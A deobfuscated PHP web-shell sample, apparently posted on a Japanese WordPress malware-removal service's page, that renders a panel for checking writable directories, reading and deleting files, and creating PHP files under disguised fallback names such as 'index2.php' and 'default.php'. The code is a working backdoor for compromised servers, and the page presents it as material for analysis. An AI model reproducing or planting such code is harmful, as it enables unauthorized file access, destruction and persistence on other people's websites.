    private function m93dR($byHui, $kDbpk = "auto")
    {
        if (is_dir($byHui)) {
            $j30qy = $this->HXdsS($byHui);
            $qrQos = $this->SmjQX($byHui, $kDbpk);
            $j30qy = array_merge($j30qy, $qrQos);
            echo "<div class=\"result\">";
            echo "<h3>🔐 Current Permissions Check - " . $kDbpk . "</h3>";
            echo "<div class=\"file-list\">";
            foreach ($j30qy as $wsNpY) {
                $F33YU = $this->Oh98d($wsNpY);
                $akahY = is_writable($wsNpY) ? "🟢 Writable" : "🔴 Read-only";
                $v6HrE = $this->Beh_1($wsNpY, $kDbpk);
                echo "<p>" . $akahY . " - " . htmlspecialchars($wsNpY) . " (Permissions: " . $F33YU . ") <small>[" . $v6HrE . "]</small></p>";
            }
            echo "</div>";
            echo "</div>";
            // [PHPDeobfuscator] Implied return
            return;
        }
        $this->UeBXo("Directory does not exist");
        return;
    }
    private function ztjHE($byHui, $jN4lg, $kDbpk = "auto")
    {
        $eFNT3 = $this->CnXwQ($byHui, $jN4lg, $kDbpk);
        $UF4SO = ["deleted" => 0, "failed" => 0];
        echo "<div class=\"result\">";
        echo "<h3>🗑️ Delete Files - " . $kDbpk . "</h3>";
        foreach ($eFNT3 as $PDbsQ) {
            if (@unlink($PDbsQ)) {
                $v6HrE = $this->beh_1($PDbsQ, $kDbpk);
                echo "<p class=\"success\">✅ Deleted: " . htmlspecialchars($PDbsQ) . " <small>[" . $v6HrE . "]</small></p>";
                $UF4SO["deleted"]++;
                goto NvQ7V;
            }
            $v6HrE = $this->beH_1($PDbsQ, $kDbpk);
            echo "<p class=\"error\">❌ Failed to delete: " . htmlspecialchars($PDbsQ) . " <small>[" . $v6HrE . "]</small></p>";
            $UF4SO["failed"]++;
            NvQ7V:
        }
        $this->XEABa($UF4SO, $kDbpk);
        echo "</div>";
    }
    private function TxW0C($byHui, $jN4lg, $kDbpk = "auto")
    {
        $eFNT3 = $this->CNXWQ($byHui, $jN4lg, $kDbpk);
        echo "<div class=\"result\">";
        echo "<h3>👁️ File Contents - " . $kDbpk . "</h3>";
        foreach ($eFNT3 as $PDbsQ) {
            $d5AC2 = @file_get_contents($PDbsQ);
            $v6HrE = $this->BEh_1($PDbsQ, $kDbpk);
            echo "<div style=\"margin-bottom: 20px; border: 1px solid #ddd; padding: 10px;\">";
            echo "<h4>📄 " . htmlspecialchars($PDbsQ) . " (Permissions: " . $this->Oh98d($PDbsQ) . ") <small>[" . $v6HrE . "]</small></h4>";
            echo "<textarea style=\"width: 100%; height: 150px; font-family: monospace;\">" . htmlspecialchars($d5AC2) . "</textarea>";
            echo "</div>";
        }
        echo "</div>";
    }
    private function XeaBa($UF4SO, $kDbpk)
    {
        echo "<div class=\"stats\">";
        echo "<strong>Summary:</strong> ";
        $BDbY4 = [];
        foreach ($UF4SO as $bX_Tt => $P_47t) {
            if (!($P_47t > 0)) {
                goto KCpkE;
            }
            $BDbY4[] = $P_47t . " " . $bX_Tt;
            KCpkE:
        }
        echo implode(", ", $BDbY4);
        echo "<br><strong>Path Mode:</strong> " . $kDbpk;
        echo "</div>";
    }
    private function O3ttc($Hz7V7, $n_XqX, $QlTq_, $uEtDT, &$UF4SO, $kDbpk)
    {
        $YqDC0 = $this->iYFmG($n_XqX, $QlTq_, $uEtDT);
        $UF4SO[$YqDC0]++;
        $ZJkYq = $this->Lu2RB($n_XqX, $QlTq_);
        $v6HrE = $this->beh_1($Hz7V7, $kDbpk);
        echo "<p class=\"success\">✅ Created: " . htmlspecialchars($Hz7V7) . $ZJkYq . " <small>[" . $v6HrE . "]</small></p>";
        $UF4SO["created"]++;
    }
    private function iyFMg($n_XqX, $QlTq_, $uEtDT)
    {
        if (!($n_XqX === $QlTq_)) {
            if (!in_array($n_XqX, $uEtDT)) {
                foreach ($uEtDT as $BBElQ) {
                    if (!(strpos($n_XqX, $BBElQ) === 0)) {
                    }
                    return "custom_used";
                }
                return "auto_used";
            }
            return "custom_used";
        }
        return "created";
    }
    private function lu2RB($n_XqX, $QlTq_)
    {
        if (!($n_XqX === $QlTq_)) {
            $z77Oc = " (Fallback: " . $n_XqX . ")";
            if (!(strpos($n_XqX, "_") !== false)) {
                goto zbdU9;
            }
            if (!preg_match("/_(\\d{10})/", $n_XqX)) {
                goto Afan3;
            }
            $z77Oc .= " ⏰";
            Afan3:
            if (!preg_match("/_([a-f0-9]{6,8})/", $n_XqX)) {
                goto x5pRX;
            }
            $z77Oc .= " #️⃣";
            x5pRX:
            zbdU9:
            return $z77Oc;
        }
        return '';
    }
    private function Sk7r7($rwSWg, $uEtDT, $PAFPW, $h5zNV, $Sqiv2)
    {
        $QMUdE = [$rwSWg];
        foreach ($uEtDT as $BBElQ) {
            $QMUdE[] = $BBElQ;
            if (!$h5zNV) {
                goto LoRv0;
            }
            $QMUdE[] = $this->un3Az($BBElQ);
            LoRv0:
            if (!$Sqiv2) {
                goto F8Szg;
            }
            $QMUdE[] = $this->CeILv($BBElQ, $PAFPW);
            F8Szg:
            if (!($h5zNV && $Sqiv2)) {
                goto QrasB;
            }
            $QMUdE[] = $this->O99ec($BBElQ, $PAFPW);
            QrasB:
        }
        return $QMUdE;
    }
    private function uN3az($CaqpQ)
    {
        $KWvQD = pathinfo($CaqpQ);
        return $KWvQD["filename"] . "_" . time() . ($KWvQD["extension"] ? "." . $KWvQD["extension"] : '');
    }
    private function CeILv($CaqpQ, $PAFPW)
    {
        $KWvQD = pathinfo($CaqpQ);
        $uqkW0 = substr(md5($PAFPW), 0, 8);
        return $KWvQD["filename"] . "_" . $uqkW0 . ($KWvQD["extension"] ? "." . $KWvQD["extension"] : '');
    }
    private function o99Ec($CaqpQ, $PAFPW)
    {
        $KWvQD = pathinfo($CaqpQ);
        $uqkW0 = substr(md5($PAFPW), 0, 6);
        return $KWvQD["filename"] . "_" . $uqkW0 . "_" . time() . ($KWvQD["extension"] ? "." . $KWvQD["extension"] : '');
    }
    private function FxXsg($rwSWg, $PAFPW)
    {
        $KWvQD = pathinfo($rwSWg);
        $FzsKy = time();
        $jnLwU = substr(md5($PAFPW), 0, 8);
        return [$rwSWg, "new_" . $rwSWg, "temp_" . $FzsKy . "_" . $rwSWg, "alt_" . $jnLwU . "_" . $rwSWg, "backup_" . $KWvQD["filename"] . ".php", "default_" . $KWvQD["filename"] . ".php", "index2.php", "default.php", "file.php", $KWvQD["filename"] . "_" . $FzsKy . ".php", $KWvQD["filename"] . "_" . $jnLwU . ".php"];
    }
    private function Hxdss($wsNpY)
    {
        $j30qy = [];
        try {
            $VwnC3 = @scandir($wsNpY);
            if (!($VwnC3 === false)) {
                foreach ($VwnC3 as $xNRBh) {
                    if (!($xNRBh === "." || $xNRBh === "..")) {
                        $W56v0 = $wsNpY . "/" . $xNRBh;
                        if (!is_dir($W56v0)) {
                            goto m0yUh;
                        }
                        $j30qy[] = $W56v0;
                        $j30qy = array_merge($j30qy, $this->HxdSs($W56v0));
                        m0yUh:
                        goto OifWe;
                    }
                    OifWe:
                }
            }
            return $j30qy;
        } catch (Exception $A9zuu) {
        }
        return $j30qy;
    }
    private function TUVFX($byHui)
    {
        $j30qy = [];
        try {
            $VwnC3 = @scandir($byHui);
            if (!($VwnC3 === false)) {
                foreach ($VwnC3 as $xNRBh) {
                    if (!($xNRBh === "." || $xNRBh === "..")) {
                        $W56v0 = $byHui . "/" . $xNRBh;
                        if (!is_dir($W56v0)) {
                            goto XToVm;
                        }
                        $j30qy[] = $W56v0;
                        XToVm:
                        goto frtw1;
                    }
                    frtw1:
                }
            }
            return $j30qy;
        } catch (Exception $A9zuu) {
        }
        return $j30qy;
    }
    private function oH98d($YbvKT)
    {
        try {
            $F33YU = fileperms($YbvKT);
            return substr(sprintf("%o", $F33YU), 4);
        } catch (Exception $A9zuu) {
            return "????";
        }
    }
    private function WLQ4B($Jp6zP)
    {
        $Ozyav = ["B", "KB", "MB", "GB"];
        $IL231 = 0;
        JR4jL:
        if (!($Jp6zP >= 1024 && $IL231 < count($Ozyav) - 1)) {
            return round($Jp6zP, 2) . " " . $Ozyav[$IL231];
        }
        $Jp6zP /= 1024;
        $IL231++;
        goto JR4jL;
    }
    private function hBx0l($byHui, $jN4lg, $bUqnG)
    {
        if (!(empty($byHui) || empty($jN4lg))) {
            if (!(strpos($jN4lg, "..") !== false || strpos($byHui, "..") !== false)) {
                $nDw78 = pathinfo($jN4lg, PATHINFO_EXTENSION);
                return in_array(strtolower($nDw78), $this->LRakP);
            }
            return false;
        }
        return false;
    }
    private function ueBXO($p6v8H)
    {
        echo "<div class=\"result error\">❌ Error: " . htmlspecialchars($p6v8H) . "</div>";
    }
    public function KXqr7()
    {
        $this->FJ6Dk();
        $this->TteZc();
        echo "\n                <script>\n                    function openTab(evt, tabName) {\n                        var i, tabcontent, tablinks;\n                        tabcontent = document.getElementsByClassName(\"tabcontent\");\n                        for (i = 0; i < tabcontent.length; i++) {\n                            tabcontent[i].style.display = \"none\";\n                        }\n                        tablinks = document.getElementsByClassName(\"tablink\");\n                        for (i = 0; i < tablinks.length; i++) {\n                            tablinks[i].className = tablinks[i].className.replace(\" active\", \"\");\n                        }\n                        document.getElementById(tabName).style.display = \"block\";\n                        evt.currentTarget.className += \" active\";\n                    }\n                </script>\n            </div>\n        </body>\n        </html>";
    }
}
$YOWp8 = new OpNOT();
$YOWp8->kxqR7();


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.